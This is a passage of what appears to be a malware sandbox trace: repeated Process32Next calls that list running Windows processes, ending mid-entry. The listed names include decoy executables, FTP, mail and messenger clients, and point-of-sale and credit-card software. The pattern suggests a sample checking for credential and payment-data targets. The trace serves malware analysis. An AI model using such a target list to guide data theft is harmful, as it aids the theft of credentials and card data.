lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.901] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.906] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.909] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.912] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.915] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.917] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.952] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.959] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.962] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.964] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.967] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.969] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.971] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.974] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.976] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.979] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0277.981] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.984] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.986] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0277.989] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0277.991] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0277.994] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0277.996] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0277.999] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0278.001] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0278.006] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.009] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.013] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0278.015] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.018] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0278.021] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0278.023] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0278.027] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0278.029] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0278.032] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0278.034] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0278.037] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0278.039] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0278.083] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0278.144] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0278.146] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0278.148] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0278.150] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0278.151] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0278.154] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0278.157] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0278.160] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0278.162] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0278.164] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0278.166] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0278.168] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0278.170] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0278.172] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0278.175] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0278.178] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0278.185] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0278.188] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0278.195] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0278.198] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0278.201] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0278.204] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0278.207] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0278.210] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0278.214] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0278.218] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0278.221] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0278.226] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0278.232] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0278.236] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0278.239] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0278.242] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0278.245] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0278.249] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0278.252] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0278.255] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0278.258] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0278.261] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0278.264] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0278.268] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0278.274] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0278.310] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0278.313] Process32Next (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, 